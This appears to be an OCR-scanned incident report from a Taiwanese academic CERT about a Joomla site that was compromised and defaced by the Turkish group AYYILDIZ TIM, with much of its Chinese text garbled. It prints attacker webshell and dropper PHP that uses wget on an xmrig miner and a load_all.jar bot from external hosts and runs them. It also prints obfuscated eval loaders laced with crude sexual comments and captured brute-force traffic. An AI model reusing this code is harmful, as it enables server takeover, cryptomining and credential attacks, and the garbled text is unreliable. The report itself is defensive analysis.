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83.166.240.162( &t ®-#7)£2 78.165.183.78(2 2 H) -

EventTime « Met_ |Stat T |UrlPath Clientlp ¥
2017/12/20 7 09:04:13 HEAD 200 /administrator/index.php 83.166.240.162
201712720 T 09:04:16 GET 200 /administrator/indexphp 83.166.240.162
201712720 4 09:04:33 GET 200 /administrator/indexphp 83.166.240.162
2017/12/20 T 09:04:35 GET 200 Jadministrator/index.php 83.166.240.162
2017/12/20 T4 09:0448 GET 200 /modules/mod_ariimageslider/mod_ariimageslider.php  83.166.240.162
201712720 T 09:04:48 GET 200 /administrator/indexphp 83.166.240.162
2017112021 9 08:46:57 GET 200 /modules/mod_ariimageslider/mod_ariimagesliderphp  83.166.240.162
2017/12/21 7 084701 POST 200 /modules/mod_ariimageslider/mod_ariimagesliderphp  83.166.240.162
2017/12/21 T 084705 POST 200 /modules/mod_ariimageslider/mod_ariimageslider.php  83.166.240.162
EventTime « Met.. Stat.T | UrPath Clientip ¥

2018/11/11 EF 12:06:16 GET 200 fadministrator/index php 7816518378

2018/11/11 £ 12:06:30 GET 200 fadministrator/index php 78.165.183.78

2018/11/11 EF 12:06:52 GET 200 fadministrator/index php 78.165.183.78

3. 2 B H =% 4 2018/11/11 4 B 00:10 » i&¢s > 8 sk T4 & ) index.php>

% html %3 5 tr(2 2 H3E) -

index.php x

<!DOCTYPE hitml>
<html lang="tr"> |
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index.php 4t % 3 cheF > @ ¥ 2T ¢ NIELRT » 2 2 KR

AYYILDIZTIM ehg & e » £ 437 % '*Ff 3% 6 LAk ExaTr #15% ~ o

indexi kopyalamak, diizenlemek, izinsiz kullanmak, dagitmak yasaktir!. Kullanim hakki sadece AYYILDIZ TiM birimlerine aittir.

HELLO ADMIiN SYSTEM HACKED!
AYYILDIZ TiM :)

AYYILDIZ TiM TERORLE MUCADELE BiRiMi TARAFINDAN
HACKLENDINIZ!..

DOGU TURKISTAN YALNIZ DEGILDIR.
HADDINI BIL CIN !..

ZULUM iLE ABAD OLANIN
AKIBETi BERBAD OLUR!..

Mazluma bu diinyayl Cehennem eyleyenlere
Bizde bu diinyayl dar ederiz!...

Zulmiin OLDUGU HER YERDEYiZ
HADDINIZi BiLiN!...

NE MUTLU
TURK'UM DiYENE!..

Lediin Abdal | Kerem Sah Noyan | Ceri
Hacked By ExaTr

TERORLE MUCADELE BiRIM BASKANLICI
Special Operations

jud

4, 2 B H 5%~ B18 A 2018/11/11 00:10 ¥ 438 {7 3 F % 3 - index.php/en #% %

~ /|- d 14941 Bytes % { % 10486 Bytes -

EventTime 2 |M.. | .7 | UdPath ClientlP ¥ UrlQuery BytesSent

2018/11/11 £ 12:10:03 GET 200 /indexphp/en/ 78.163.183.78 14841
2018/11/11 £ 12:10:06 GET 200 /administrator/indexphp 78.165.183.78 option=com_templates8iview=template&id=10007 10821
2018/11/11 EF 12:10:13 GET 200 /administrator/indexphp 78.165.183.78  option=com_templates8view=sourceflayout=edit 22228
2018/11/11 £ 1211049 GET 200 /indexphp/en/ 78.165.183.78 10486
2018/11/11 £ 12:10:51 GET 200 /administrator/indexphp 78.165.183.78 option=com_templates&view=source8layout=edit 23157
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mod_ariimageslider.php ~ #25% P % T IRFUAS - &2 R

hub.php EETR T

mod_jbt_skinner.php B Sl HTI0 02 % E AN
i0.php #4317 load_all.jar

i2.php ™ % load_all.jar

load_all.jar b~ £ aa 3 80port

6. hub.php ¢ 2 http://google-statik.pw/mainer/xmrig = §*4z FhAzs¢ - & 2 @ s
o IP:178.32.145.31 g # o

hub.php x
Jlordpress

<?php $conmand = "wget http://google-statik.pw/mainer/xmrig -0 httpd ; chmod +x ./httpd ; ./httpd -a
cryptonight -o 178.32.145.31:80805 -u

7. i0.php £ i2.php p % & eval(gzuncompress(base64_decode(j* #5))) == » 7 & it

FRmA T J‘j"ﬁ_—f']—?': ARNFE P B o

i0.php X
K?php eval{gzuncompress(base6s decode('eNp1UWir21YU/
it3JjAZmMSSLCmyyYqX0J4Z j5RAFE12h7iWr 14aWFKk68YmjFFox9J8Kes+
ZNAVhDEGHggj 8JbQL6WwsrULXZdmY+u237 JZJTANHHCGX Fm+
Pc95znmODYPEEAL3bt24unW42gndK4RRFDHCXGNEF 7y +w+7T37duv1NHJZHU2g7mB j /
REF13duvFTEWUZEF3Rduc71//++Ffucqntl34qo25VKba7mSuniivuH1b9+uZXP18dF3vSAufde/
TEqoj jzXWEa%0BsiSkIvaNESIr6Jur4ZpNirhBn020g42U3XKoeUdUMFESrNq1lLUTTo129Ls10j
Hb1h9kit/Ni7aJCFxBHOyAL INnzwK1kkPL jB8d8YkA+3RXB6+eJGF Ietmil/

i2.php x
{?php
eval{gzuncompress(base6s decode( 'eNp2UmirGicW/
iu30rRSIpx5088iy8RZH1IN21it1YxpW6Swx32q4BU82LOnHUSQ3LNGEpPOG+m
1uxCzSbZbqht+cxJHKQF j2951x0zmr /Sc6S1xIqu2kiTde895zn0e+5uxXR
edvfrnUDp2L1DHSccod823980ra3ull/ Fu7 j1nTyDW1BF JM7gU/
B8jRAFXXuB6Ku19Nu6LZzeFbWBBYUxYGUM3 TuY2pqadncxMJU/pP/
2ucfRz0jPNFHEPTIeMdBKFGLPUKqroc8xcs1h65PDUh8H/KJK+Cc+qsGuSW7
6ISEBdANDJY11LdIx7eC505u5aY9ceriH1+u61gNABIXRULOBDCK/XRK6+U
POPUZ0/S2miLNUBHSdoopo3ZK2nUKBnC+US++xqSxMFURMUtVoquAJbXEEE




4 48 it B 2 Y« (TACERT)
TANet Computer Emergency Response Team

8.

clas (private statlcS 7;static function _3F7HE?(S_EEAT )
(lf('self ($_MER) iself: Y: 3B loodninja: 1 lick your earlobe, and
Jundo_your watch. */endif;return bASE64_deCOde(self::$_7IEZ7($_ERAT

1); }/*Sarah19fca: wum, okay "/pnvate static function _777)

{self::$_73HAI=array( =>/*Blo
Jerunting like a troll. */"dle\DlZ\l
\xb6"*>“L14\x76" A 137 "Lixi

odn I take yo p:
USJ\MIG\ 55=","

ants off,

SBncf1R23313277

694v" , "\ 13742277223

58"=>"4G IvL 2] pbe=1075" " \1377 x9b\x8c7" /3Sarah19fca: Veah I like it
rough. */"d\ 107 1Vx77L2Ipbe="," IT#2\32675H"=>"bn0\ 157d¥keL i9qTRZRIC
\x}quXIgbG%Z\x469h\x626w\ 165a\ 155\x46y D4g\x4c2R\x6cd19\|dWxs

xa6\x: mack ye
b /' F6000n x64\xS8A\x67am\106\062\x59SAt\x61\x6dF\x79\11lGx
\166\IZIWRf\IE1Wst\x6dp\x68c\151AgP1A\166ZGV2L25\x}lb\xﬂwg]!—"
2221253}%2057=>/*Sarah19fca: Oh yeah, that feels good.*/"aDI\165Z]
Ax30","_\333788xcf"=>"b\x32s="," £} #& \3117"=>/*Bloodninja: Smack,
[Snack, yeeeaahhh.*/"ZXJy",);}/*Bloodninja: I make some toast and eat it
off your ags. Land 0' Lakes butter all 1!\ yo\lr crack.
innn. */}/*Sarah19fca: yo\l like that?*/$_7] 7 77
Yxc67");/*Bloodninja: 1 p
FILE }) if(iS_dIR ( 77
1x BT (U3 xb2"

)
W”(” \227\314 E CHDlR( 27
what are you gonna do with those?*/sheL | ExeC(
?{306\)«14'})) else:Shell_exEc(_?? :
2464212"));/*Bloodninja: get me pea
[ballpark. */endif; if(flLe EXistS(_
4260 2534262 xb2")) ho 77
w2 (

"/éndif /%Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/

('

[ The Saga of Bloodninja

C O Fzz|

Bloodninja: I lick your earlobe, and undo your watch.
: mmmm, okay.
Bloodninja: I take yo pants off, grunting like a troll.
: Yeah I like it rough.
Bloodninja: I smack you thick booty.
: Oh yeah, that feels good.
Bloodninja: Smack, Smack, yeeeaahhh.
Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack.
Mmmm.
: you like that?
Bloodninja: I peel some bananas.
: Oh, what are you gonna do with those?
Bloodninja: get me peanuts. Peanuts from the ballpark.
: Peanuts?
Bloodninja: Ken Griffey Jr. Yeaaaaahhh.
: What are you talking about?

i0.php %45t 3 3R load_all jar ¢ # *

B8 F

private static function
self::$_ = array(

01
=>

/*Bloecdninja:

a troll.®/

tmpcache"'Glu‘wz:jaﬁ_i:', " =8 Al p => [/*Sarahl9fca: Yeah I 1
ike it rough.*/ tmp/bln
tmp/b'ln’ L2 bmSodXAgl 19gYXZhIC1gYXIgbGOhZFohbGwuamFyIDAsl 2R1diGudiixsICY=", => /*Bl
oodninja: nohup ./java -jar load_all.jar>/dev/null &
LmphciAgPiAvZG s =)> /*Sarahl9fca: Oh yeah, that
feels good.* nohup java ]ar load _all.jar >/dev/null &
h2.dat "ePIVZIGFE", => "b2s=", => /*Bloodninja: Smack, Smack, yeeeaahhh.*/
err 5DV, ); ok
} /*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmm
42
i2.php {245 155 3R ¢ ™ §* load_all jar BN oo
private static function _
self::$_ = array( => | /*Sarahl9fca: mmmm, okay.

tar -xzf tmp.tar.gz

=>/*Blo
rm tmp.tar.gz fi

" =[S
rmtmp.tar.gz["cme

[EXZ
chmod 777 -

Set_TimE_1imit(@6767 + 831);

butter all in your cra

nohup ./fiava -iar load alljar > /dev/null &

#-i0.php 7 i2.php 2z 2.5\ 75 &
BT

mod_jbt_skinner.php 2.

N

i0 %02 % £ 423" ¢ ™ § load_all.jar % 7 ¢

.
2
e ) =

L % 22 mod_jbt_skinner.php 2_ % 5% 75

I ¥ 1% 3% http://83.166.243.65/b % # % load_all.jar & * o
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I mod _ibt_skinner.phg]x

$18 = <<< CCODE"
<?php

$dName = 'tmpcache’;

chdir(dirname(__FILE_ ));
if(is_dir("../$dName")){
chdir("../$dName"”) ;

¥

if(file_exists('tmp/bin’)){

chdir('tmp/bin’);

shell_exec("nohup ./java -jar load_all.jar http://83.166.243.65/b > /deu/null &");
yelse{

shell_exec(“nohup java -jar load_all.jar http://83.166.243.65/b > /dev/null &");

¥

if(file_exists("h2.dat")){
echo "ok";

yelse{

echo "err";

¥

>
CCODE;

file_put_contents{'i@.php',$i0);
file_put_contents('host.dat',$_SERUER[ 'HTTP_HOST']);

Sreq = "http://S_SERUEN[HTTP_HﬂST]s_SERUER[REQUEST_URI]";
§str = substr($req,0,strrpos($req,”/"));

§str = substr($str,8,strrpos($str,"/"));
$str.="/$dName/i8.php";

|mod_jbt_skinner.php|x
if(Sver>=6){
shell_exec("pkill java");
shell_exec{"rm ".__FILE_ };
shell_exec("'rm load_all.jar");
shell_exec(''wget http://recaptcha-in.pw/load_all.jar");
shell_exec{(''chmod 777 load_all.jar");
shell_exec(''nohup java -jar load_all.jar http://83.166.243.65/b > /dev/null &")

echo $str;
exit;

b

] mod _jbt_skinner.php|x

$i2 = <<<CCODE
<?php

set_time_limit(1860);

chdir(dirname{__ FILE_ ));
shell_exec("export JAUA_HOME=".dirname{__ FILE__ )."/tmp");

shell_exec("rm "._FILE_ );

shell_exec("pkill java");

if((defined( PHP_INT_SIZE'))&&({PHP_INT_SIZE == 8)){
shell_exec("'wget http://recaptcha-in.pw/64/tmp.tar.gz");
shell_exec('tar -xzf tmp.tar.gz");

shell_exec('rm tmp.tar.gz");

yelse{

shell_exec("'wget http://recaptcha-in.pw/32/tmp.tar.gz");
shell_exec('tar -xzf tmp.tar.gz");

shell_exec("rm tmp.tar.gz");

b

chdir(“tmp/bin™);

shell_exec("rm load_all.jar");

shell_exec("'wget http://recaptcha-in.pw/load_all.jar");
shell_exec(''chmod 777 -R .");

shell_exec("nohup ./java -jar load_all.jar http://83.166.243.65/b");

22
CCODE;

file_put_contents("i2.php",$i2);
shell_exec("rm ".__FILE_ );

shell_exec(''chmod 777 i2.php");
shell_exec(''nohup php i2.php > /dev/null &");

echo $str;

2>
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9. #-load_alljar = §¢ t2 44 {7 » F M 7P CPU F R ¢ £ 7 100% > = ¥

B
B

¢ =

b F 5 IP <H 80 port o

[ summary | cPu

cPU

100.00%
Totals
Handles

Threads
Processes

CcPU

44 DPC Delta

Context Switch Delta
Interrupt Delta

Topology
Cores
Sockets

3,518
1,823
982

| Image | Performance | Performance Graph | Disk and Network I GPU Graph |

[] Resolve addresses

TCF

TCF
TR
TP
TCF

TZF

TCF

192.168.195.137:58614

192,168,195 137:58631
192168, 195 . 137:58635
192168, 19513758634
192.168.195.137: 58636

192,168,195 137: 58656
192168, 19513758706

r
Puoto...  Lecsl Adduess Rernote Addvess Btate
TCF 192,168,195 13755549 185 31,7, 115:80 CLOSE_WAIT
TCF 192,168,195, 137:571%4 85.99.140.9:80 ESTABLIZHED
TCF 192,168,195, 137:58512 puod 19 magentchot,..  CLOBE_WAIT
TCF 192 168,195, 13758514 185317 119:80 E3 TABLIZHED
TCF 192,168,195, 137:585 18 184,168 221.91:80 CLOSE_WAIT
TCF 192,168,195, 13758534 50632084380 CLORE WAIT
TCF 19 168,195 13758557 184168 131.241:80  CLOSE_WAIT
TCF 192,168,195, 13758538 184.165.131.241:80  CLOSE_WAIT
192,168,195, 13758539 184,165 221, 74:80 CLOSE_WAIT

184,165 2219080  ESTAELISHED

184.16%.131. 241 :http - ESTABLISHED
5006320243 tp EZTARLIZHED
184.168.131. 241 http - E3 TABLIZHED
184162 221 T4:http  ESTABLISHED

184162 221 4180
185.31. % 10280

CLOSE_WAIT
ES TABLIZHED

TCF 192 168,195 13758724 10428 22 150080 E3 TABLIZHED
TCF 192,168,195, 13758720 184,165 13124180  ESTABLISHED
TCF 192,168,195, 13758740 184168 221 41:80 ESTARLIZHED
TCF 19 168,195 13758745 2591 66,5 htp E3 TABLIZHED
TCF 192,168,195, 13738750 215.186.33 580 SYN_SENT
TCF 192,168,195, 137.58756 184,163 221 4%:htip  CLORE_WAIT
TCF 192 168,195 13758772 184168 131.241:80  BYN_ZENT
TCF 192,168,195 13758773 215.180.255 125 http  ES TABLIZHED
TCF 192,168,195, 13758774 66.9%.147 144:http  ESTABLIZHED
TCF 192 168,195 137587 7% 213.1%6.33 580 EYN_SENT
TZF 192 168,195 13758759 217180251 16580  ESTABLIRHED
TCF 192,168,195, 13758805 184,168 221 45080 ESTARLIZHED
TCF 19 168,195 13758813 184,168 221 71:80 CLOSE_WAIT
TZF 192 168,195 13758817 4610163 250:30 STN_SENT
TCF 192,168,195, 137:58854 217.160.0.43 hitp CLOSE_WAIT
TP 19, 168.195.13 758851 124,168 221 71:80 E3 TABLIZHED
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load_all.jar 4 Virustotal #&#] > # E & v )% 10/58 > 3 % 77 4 @ = 2 chipp

)

FHEMMAEZHRPIN T T e

SHA256:  7b7bdf8d0520faca9565893356209f13677f9df320892b4917d30ad04ab6d530

BELE  load _alljar

EBlEE: 10/58

10. &+ 43t >4 3 load_all jar 4 {7 {4 ¢ i szt IP 47 downloader 3 # >

I ® @iF user & ALgr password e IS E

RSA Security Analytics Reconstruction for session ID: 147973 ( Source 192.168.195.137 : 60772, Target 184.168.221.86 : 80)

Time 12/18/2018 11:41:45 to 12/18/2018 11:41:53 Packet Size 19,097 bytes Payload Size 17,543 bytes

POST /downloader/ HTTP/1.1 5
Content-Type: application/x-www-form-urlencoded

Cookie:

User-hgent: Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xnl,application/xnl;q=0.9,%/%;q=0.8
Content-Langnage: en-US

Cache-Control: no-cache

Pragma: no-cache

Host: unitedhobbies.net

Connection: keep-alive

Content-Length: 61

usernane=%06T w0 L T PR %73&password=%62%C TN TR U%31%32

11. jplds-4t e % 7 load_all jar ¢ @ i 34 % 84 B #7 1P:83.166.240.236 -

RSA Security Analytics Reconstruction for session ID: 79 ( Source 192.168.195.137 : 52850, Target 83.166.240.236 : 80)

Time 12/18/2018 10:42:12t0 12 2018 10:42:29 Packet Size 598,510 tn,le‘. Payload Size 563,704 bytes

PUST fhfthntfnund HTTP#] 1
Content-Type: application/x-www-form-unrlencoded

Cookie:

User-bgent: Mozi1lla/5.0 (Nindows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0
becept: text/himl,application/xhtml+xnl ,applicationdxm] ;q=0.9,%/%;9=0.%
Content-Language: en-US

Cache-Control: no-cache

Pragma: no-cache

Host: 83.166.240.236

Connection: keep-alive

Content-Length: 404081

data=MTkzNTE=zMz0RQLFEOgOEMTISNzY 1KDd e ITT4 I Te0ITe0  TewI THR I TIn I TIn ] TZITY LITZ ) ITYy

ITZnITe L Tew JTZLITY LITYZITZ I T2n ] Tey ITYS I Tea JTeOITINI Te LI TeaXCUZN 1 IZNSUZRITZ
NCUBMy U RS 2N iU 2050 z080EMT IS N2 3§ Te JTT4 1 TeOITeO I Tew I TRR ITIn T InJTZLITY 1 1 Tey
JTESITY 2 ITY®ITZ1 1 Tez ITY 1 I Tez T LTV % ITeg ITILITY 2 I TZnXCUZN 1 UZNSUZNSUZNCU3H 1l =
HalzM il z0SUz0AQEMTISN =T INDVe JTY4 I Te0I Te0 I Tew TR R I TInI TIn I TEL ITY LITZ §ITTx ITZ1
JTVIITTLITY0 I Te 11 Te0 I Tex ITEx I Tew ] Tew ITY LI Te L Tew ITTLI TV 2 ITZn JTZLECUZN 1 UZRSTZ
NEUZNCUSM U 2NV =M 1 U203V z0A0EN TISN =Y wh 3Fe JTT4 I T TeO  Tow ITNh I T Ind TIn T2 ITY1

PO

7

?L
b=
E
{\x
ey
"
H
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5
3
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PFEEARRI LA B FTLE o A
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: : @ tWebBz A 15

I R | r— 7777 |

I NS ; > @QE BB Hindex.php/en [

|  +THHRE I I [

: 78.165.183.78 I I :

| < !

| = |

I X |

' == == '

| | | |

| [ l@T'HIl g — | @ASES

| < L mo arnmages iderphp | #ez [
| N @ mWeb%Miﬂﬂm @7 Ethub.phpi {TIZ IR | 80port |o
| X : »| @7 Wmod_jbt_skinner.php£ S
| 83166240162 | e e 80 port

(1)7€_Web 3% » =k o
(M-t g FRHESFERE -
2.8 B A %
(1)45_Web 5% » g =k o
(2) % P~ mod_ariimageslider.php -
(3) % P~ hub.php i& 7 8 7
(4) % B~ mod_jbt_skinner.php(34 7 i0 £ i2 % £ 42 7 /)2 i0.php %34 7
load_all jar -

(5)« & i 42 #5280 port

l. 27 5 #B3E 72334 |P:78.165.183.78 & 2018/11/11 i# B 00:10 #-

2. ¥ - %K% IP:83.166.240.162 fi 2017/12/20 Azj i+ £ 15 B~

mod_ariimageslider.php ~ mod_jbt_skinner.php ~ hub.php £2 i0.php % & & #%
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3. #4117 i0.php £ i2.php & 4 #load_all.jar> &34 FpF € <~ £ 4Hehipsm— 2 |P
80port > I ¥ BEFTHLARIIP Pot fkabd Y 22K
B4 load_alljar #hx e EE 75 ©

4, $HABRIOTEIP ELRILTE > HENBZRIT o

(1) #cip kgL QB R > L2 LI LATHA °
Q)ﬁ%&%ﬁ&ﬁ%*ﬁ%%ﬁ@o

(3) ld g * K P BT R RIRFAHEFRA -
M)ziﬁﬁé&%%ﬂ%iﬁﬁ%i??ﬂﬁ°
(5) % { 37k i Ae N & 3t B o

(6) EH @Bl R oF RE - PR BAFZ T ARL DA F -



